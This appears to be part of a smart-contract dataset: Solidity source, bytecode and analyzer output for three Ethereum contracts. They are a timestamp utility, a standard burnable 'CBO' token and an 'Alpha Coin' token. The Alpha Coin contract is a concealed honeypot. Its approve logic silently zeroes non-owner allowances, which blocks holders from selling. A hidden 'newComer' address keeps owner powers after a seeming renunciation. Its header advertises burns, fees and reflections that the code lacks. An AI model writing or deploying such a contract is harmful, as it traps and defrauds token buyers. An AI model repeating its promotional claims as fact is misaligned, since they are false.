* @notice Even if this timestamp is not 'running', it is not necessarily 'expired'.
*/
function running(uint256 _id) external view returns (bool) {
Timestamp storage timestamp = timestamps[_id];
if (!timestamp.valid)
return false;
return timestamp.value.add(timeout) >= time();
}
/**
* @dev Get an indication of whether or not a given timestamp is 'expired'.
* @param _id The ID of the timestamp.
* @return An indication of whether or not a given timestamp is 'expired'.
* @notice Even if this timestamp is not 'expired', it is not necessarily 'running'.
*/
function expired(uint256 _id) external view returns (bool) {
Timestamp storage timestamp = timestamps[_id];
if (!timestamp.valid)
return false;
return timestamp.value.add(timeout) < time();
}
/**
* @dev Return the current time (equivalent to `block.timestamp`).
* @notice This function can be overridden in order to perform artificial time-simulation.
*/
function time() internal view returns (uint256) {
return now;
}
}
|
0x60806040526004361061008d5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663310bd74b811461009257806370dea79a146100ac57806374f1649a146100d35780638bc33af31461011157806395805dad14610144578063ad69494e1461015c578063ba065e1f14610188578063ffa1ad74146101a0575b600080fd5b34801561009e57600080fd5b506100aa60043561022a565b005b3480156100b857600080fd5b506100c161032c565b60408051918252519081900360200190f35b3480156100df57600080fd5b506100e8610332565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561011d57600080fd5b5061012960043561034e565b60408051921515835260208301919091528051918290030190f35b34801561015057600080fd5b506100aa600435610371565b34801561016857600080fd5b5061017460043561047e565b604080519115158252519081900360200190f35b34801561019457600080fd5b506101746004356104d3565b3480156101ac57600080fd5b506101b5610525565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ef5781810151838201526020016101d7565b50505050905090810190601f16801561021c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60007f49496e74657276616c4974657261746f720000000000000000000000000000006102568161055c565b73ffffffffffffffffffffffffffffffffffffffff1633146102d957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f63616c6c657220697320696c6c6567616c000000000000000000000000000000604482015290519081900360640190fd5b600283605f81106102e657fe5b60020201805490925060ff1615156102fa57fe5b5080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00168155600060019091015550565b60015481565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b600281605f811061035b57fe5b60020201805460019091015460ff909116915082565b60007f49496e74657276616c4974657261746f7200000000000000000000000000000061039d8161055c565b73ffffffffffffffffffffffffffffffffffffffff16331461042057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f63616c6c657220697320696c6c6567616c000000000000000000000000000000604482015290519081900360640190fd5b600283605f811061042d57fe5b60020201805490925060ff161561044057fe5b81547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001178255610471610602565b8260010181905550505050565b600080600283605f811061048e57fe5b60020201805490915060ff1615156104a957600091506104cd565b6104b1610602565b60018054908301546104c89163ffffffff61060616565b101591505b50919050565b600080600283605f81106104e357fe5b60020201805490915060ff1615156104fe57600091506104cd565b610506610602565b600180549083015461051d9163ffffffff61060616565b109392505050565b60408051808201909152600581527f312e302e31000000000000000000000000000000000000000000000000000000602082015281565b60008054604080517f0d2020dd00000000000000000000000000000000000000000000000000000000815260048101859052905173ffffffffffffffffffffffffffffffffffffffff90921691630d2020dd9160248082019260209290919082900301818787803b1580156105d057600080fd5b505af11580156105e4573d6000803e3d6000fd5b505050506040513d60208110156105fa57600080fd5b505192915050565b4290565b60008282018381101561061857600080fd5b93925050505600a165627a7a72305820dda11c67c6247c1533f2cb8f2349bfc97dafcea3cdcbf01b239248de1be7d1fa0029
|
{"success": true, "error": null, "results": {}}
| 9,347 |
0xbd0e601393466a68c39e1278413a936050542562
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract CBO is StandardBurnableToken, Ownable {
string public name = "CBO";
string public symbol = "CBO";
uint8 public decimals = 8;
uint256 public INITIAL_SUPPLY = 100000000000000000;
address public owner;
function CBO() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
owner = msg.sender;
}
}
|
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b5780632ff2e9dc14610290578063313ce567146102bb57806342966c68146102ec578063661884631461031957806370a082311461037e57806379cc6790146103d55780638da5cb5b1461042257806395d89b4114610479578063a9059cbb14610509578063d73dd6231461056e578063dd62ed3e146105d3578063f2fde38b1461064a575b600080fd5b3480156100f757600080fd5b5061010061068d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072b565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561081d565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610827565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610be1565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102d0610be7565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f857600080fd5b5061031760048036038101908080359060200190929190505050610bfa565b005b34801561032557600080fd5b50610364600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c07565b604051808215151515815260200191505060405180910390f35b34801561038a57600080fd5b506103bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e98565b6040518082815260200191505060405180910390f35b3480156103e157600080fd5b50610420600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ee0565b005b34801561042e57600080fd5b50610437611088565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048557600080fd5b5061048e6110ae565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ce5780820151818401526020810190506104b3565b50505050905090810190601f1680156104fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051557600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114c565b604051808215151515815260200191505060405180910390f35b34801561057a57600080fd5b506105b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061136b565b604051808215151515815260200191505060405180910390f35b3480156105df57600080fd5b50610634600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611567565b6040518082815260200191505060405180910390f35b34801561065657600080fd5b5061068b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ee565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107235780601f106106f857610100808354040283529160200191610723565b820191906000526020600020905b81548152906001019060200180831161070657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561086457600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108b157600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561093c57600080fd5b61098d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a20826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610af182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174690919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60075481565b600660009054906101000a900460ff1681565b610c04338261177b565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d18576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dac565b610d2b838261174690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610f6b57600080fd5b610ffa81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174690919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611084828261177b565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111445780601f1061111957610100808354040283529160200191611144565b820191906000526020600020905b81548152906001019060200180831161112757829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561118957600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111d657600080fd5b611227826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174690919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112ba826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006113fc82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561164a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561168657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561175457fe5b818303905092915050565b6000818301905082811015151561177257fe5b80905092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156117c857600080fd5b611819816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118708160015461174690919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820b951acc9ea4589518f2f86dda18e25c99392284af63ebd40debb95ba77fdb4310029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 9,348 |
0x8f8998a5c816415fc33114ef8a50465ec726c757
|
/*
Alpha Coin
Perfected Tokenomics
Welcome to Alpha Coin, a decentralized platform consisting of the latest in Financial tools designed by some of the leading developers in the world and fueled by Alpha Coin, the first & native cryptocurrency of the Alpha ecosystem. Alpha is already developing a city within the Metaverse where multiple streams of income will be injected back into Alpha Coin via buybacks & marketing. The builders have been hired, the designs are ongoing and Alpha Coin is putting the world on notice.
Fixed supply:
10,000,000,000 Tokens Minted
Tokens Burned:
50% Burned at launch
Formula:
6% Marketing, 3% Liquidity, and 2% Reflections.
No Presale:
A private sale was already held to raise initial liquidity of $25,000.
NFT's:
Our first collaborative NFT collection will be available to mint the same week of Alpha coin's launch. All profits from NFT sales will be used for buybacks, marketing & to pay our development team.
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Alphacoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 10* 10**9* 10**18;
string private _name = 'Alpha Coin ' ;
string private _symbol = 'ALPHA ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
